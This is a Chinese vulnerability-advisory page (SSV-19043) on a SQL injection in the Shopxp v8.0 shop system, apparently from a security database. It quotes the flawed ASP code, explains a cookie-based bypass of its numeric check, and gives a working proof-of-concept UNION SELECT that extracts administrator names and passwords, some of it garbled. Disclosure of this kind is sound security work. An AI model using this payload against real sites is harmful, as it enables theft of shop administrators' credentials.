Shopxp v8.0 SQL Injection 0day

基本字段

漏洞编号:
SSV-19043
披露/发现时间:
未知
提交时间:
2010-02-01
漏洞等级:
漏洞类别:
SQL 注入
影响组件:
Shopxp
漏洞作者:
未知
提交者:
Knownsec
CVE-ID:
补充
CNNVD-ID:
补充
CNVD-ID:
补充
ZoomEye Dork:
补充

来源

漏洞详情

贡献者 Knownsec 共获得  0.45KB

系统使用了早期的枫叶防注系统,只过滤了GET,并且可以绕过,这里不谈绕过的问题了,我们看到 xplistpl.asp 9-36行代码:

<table width="100%" border="0" cellspacing="0" cellpadding="0">

<tr>

&lt;td width=&quot;88%&quot;&gt;&lt;TABLE cellSpacing=0 cellPadding=0 width=100% align=center border=0&gt;

  &lt;TBODY&gt;

    &lt;TR&gt;

      &lt;td width=&quot;1&quot; background=&quot;img_shopxp/xiao/bgbg.gif&quot;&gt;&lt;/td&gt;

      &lt;TD class=b vAlign=top align=left&gt;&lt;%if IsNumeric(request.QueryString(&quot;id&quot;))=False then

response.write("<script>alert(""非法访问!"");location.href=""index.asp"";</script>")

response.end

end if

dim id

id=request.QueryString("id")

if not isinteger(id) then

response.write"<script>alert(""非法访问!"");location.href=""index.asp"";</script>"

end if%>

          &lt;table width=&quot;100%&quot; align=&quot;center&quot; border=&quot;0&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot; class=&quot;table-zuoyou&quot; bordercolor=&quot;#CCCCCC&quot;&gt;

            &lt;tr&gt;

              &lt;td width=&quot;100%&quot; valign=&quot;top&quot; bordercolor=&quot;#FFFFFF&quot; bgcolor=&quot;#FFFFFF&quot; align=&quot;center&quot;&gt;&lt;table width=&quot;100%&quot; border=&quot;0&quot; cellspacing=&quot;0&quot; cellpadding=&quot;4&quot; align=&quot;center&quot;&gt;

                  &lt;%

            set rs=server.createobject(&quot;adodb.recordset&quot;)

            rs.open &quot;select * from shopxp_product where shopxpptid=&quot;&amp;request(&quot;id&quot;),conn,1,3

            if rs.recordcount&gt;0 then

            spmx=rs(&quot;shopxpptname&quot;)

            end if%&gt;

                  &lt;tr&gt;

                    &lt;td colspan=&quot;3&quot; background=&quot;img_shopxp/class_bg.jpg&quot; height=50&gt;  &lt;a href=index.asp&gt;&lt;%=webname%&gt;&lt;/a&gt; &gt;&gt; 商品评论:&lt;%=spmx%&gt;&lt;/td&gt;

                  &lt;/tr&gt;

                &lt;/table&gt;

上面这段代码存在逻辑漏洞哦,其中 IsNumeric(request.QueryString("id"))=False 这句判断获取的id是否为数字,如果false则停止执行, 但这里的id是通过request.QueryString获取的,如果我们不给id赋值会怎么样呢?同学们可以通过下面的代码来验证:

<%

if IsNumeric(request.QueryString("id"))=False then

response.write("<script>alert(""非法访问!"");location.href=""index.asp"";</script>")

response.end

end if

response.write("my5t3ry")

%>

保存为test.asp,然后直接访问test.asp,看是否打印my5t3ry? 如果不用过request.QueryString给id赋值, 而是通过,request.form或者request.cookies给id赋值是可以直接绕过他的判断的,代码不会停止执行,然后进入 sql查询用的是request("id"),学过asp的同学都知道request通吃get,post,cookie的,到这里就成功bypass防注和IsNumeric函数的判断。

v8.0 等待官方补丁

fly520 共 1  兑换了

PoC (非 pocsuite 插件)

贡献者 Knownsec 共获得   0.2KB
1
2
3
4
Firefox访使Firefoxnoscriptjavascript
javascript:alert(document.cookie=&quot;id=&quot; + escape(&quot;1 union select 1,cstr(adminid)&amp;chr(124)&amp;admin&amp;chr(124)&amp;password,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3 from shopxp_admin&quot;));location.href=&quot;/xplistpl.asp&quot;;
Ps:
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

fly520 共 4 兑换

参考链接

解决方案

临时解决方案

官方解决方案

升级到最新无漏洞版本

防护方案

人气 1213
评论前需绑定手机 现在绑定

暂无评论

※本站提供的任何内容、代码与服务仅供学习,请勿用于非法用途,否则后果自负